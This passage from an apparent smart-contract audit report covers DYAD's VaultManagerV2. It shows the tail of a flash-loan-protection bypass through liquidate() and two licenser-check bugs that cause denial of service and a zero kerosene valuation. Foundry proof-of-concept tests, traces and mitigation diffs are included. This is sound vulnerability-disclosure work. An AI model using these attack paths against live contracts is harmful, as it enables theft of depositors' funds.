  ) external pure returns (bytes4) {
    return 0x150b7a02;
  }
}

Add a new file named VaultManagerV2.t.sol in test Folder. Add the following content to the VaultManagerV2.t.sol file. Then run forge test --mt testFlashLoanAttackUsingLiquidateSimulation -vv, we will get:

Ran 1 test for test/VaultManagerV2.t.sol:VaultManagerV2Test
[PASS] testFlashLoanAttackUsingLiquidateSimulation() (gas: 915045)
Logs:
  weth balance is  2

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.44ms (1.04ms CPU time)

It shows withdrawing the non-Kerosene collateral which is deposited the same blocknumber, breaking the flash loan protection

Tools Used

Manual Review

Recommended Mitigation Steps

Add flash loan protection in liquidate()

function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
+     if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L80-L91

Vulnerability details

Impact

Checking keroseneVault is Licensed or not, Should use vaultLicenser. In VaultManagerV2::addKerosene() incorrectly use the keroseneManager causing DoS(denial of service)

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
 @> if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

Proof of Concept

Anyuser call addKerosene() will revert for VaultNotLicensed error. add this test function below in test/fork/v2.t.sol, then run forge test --mt testAddKerosineVaultWillFailed --fork-url $(MAINNET_RPC) --fork-block-number 19621640 -vvv in terminal

function testAddKerosineVaultWillFailed() public{
    DNft dnft = DNft(MAINNET_DNFT);

    //take nft id is 1 for test
    uint256 tokenId = 1;
    address nft_owner = dnft.ownerOf(tokenId);
    
    vm.prank(nft_owner);
    contracts.vaultManager.addKerosene(tokenId, address(address(contracts.unboundedKerosineVault)));

  }

you will get:

Ran 1 test for test/fork/v2.t.sol:V2Test
[FAIL. Reason: VaultNotLicensed()] testAddKerosineVaultWillFailed() (gas: 29043)
Traces:
  [29043] V2Test::testAddKerosineVaultWillFailed()
    ├─ [2558] 0xDc400bBe0B8B79C07A962EA99a642F5819e3b712::ownerOf(1) [staticcall]
    │   └─ ← 0x01df211a9c8A9AE434eD2d34404dd7F48b83645C
    ├─ [0] VM::prank(0x01df211a9c8A9AE434eD2d34404dd7F48b83645C)
    │   └─ ← ()
    ├─ [11328] VaultManagerV2::addKerosene(1, UnboundedKerosineVault: [0x416C42991d05b31E9A6dC209e91AD22b79D87Ae6])
    │   ├─ [558] 0xDc400bBe0B8B79C07A962EA99a642F5819e3b712::ownerOf(1) [staticcall]
    │   │   └─ ← 0x01df211a9c8A9AE434eD2d34404dd7F48b83645C
    │   ├─ [2597] KerosineManager::isLicensed(UnboundedKerosineVault: [0x416C42991d05b31E9A6dC209e91AD22b79D87Ae6]) [staticcall]
    │   │   └─ ← false
    │   └─ ← VaultNotLicensed()
    └─ ← VaultNotLicensed()

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.06ms (315.17µs CPU time)

Tools Used

Manual Review

Recommended Mitigation Steps

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
-   if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+   if (!vaultLicenser.isLicensed(vault))                   revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }


## Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L269-L286

Vulnerability details

Impact

Checking keroseneVault is Licensed or not, Should use vaultLicenser instead of keroseneManager. This Logic error will causing getKeroseneValue() return 0.

Proof of Concept

Checking keroseneVault is Licensed or not, Should use vaultLicenser instead of keroseneManager.

  function getKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaultsKerosene[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaultsKerosene[id].at(i));
        uint usdValue;
@>      if (keroseneManager.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);        
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

keroseneVault like BoundedKerosineVault and UnboundedKerosineVault never be added in keroseneManager, so the totalUsdValue is always plus 0, and will always be 0.

Tools Used

Manual Review

Recommended Mitigation Steps

  function getKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaultsKerosene[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaultsKerosene[id].at(i));
        uint usdValue;
-        if (keroseneManager.isLicensed(address(vault))) {
+        if (vaultLicenser.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);        
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

Assessed type

Error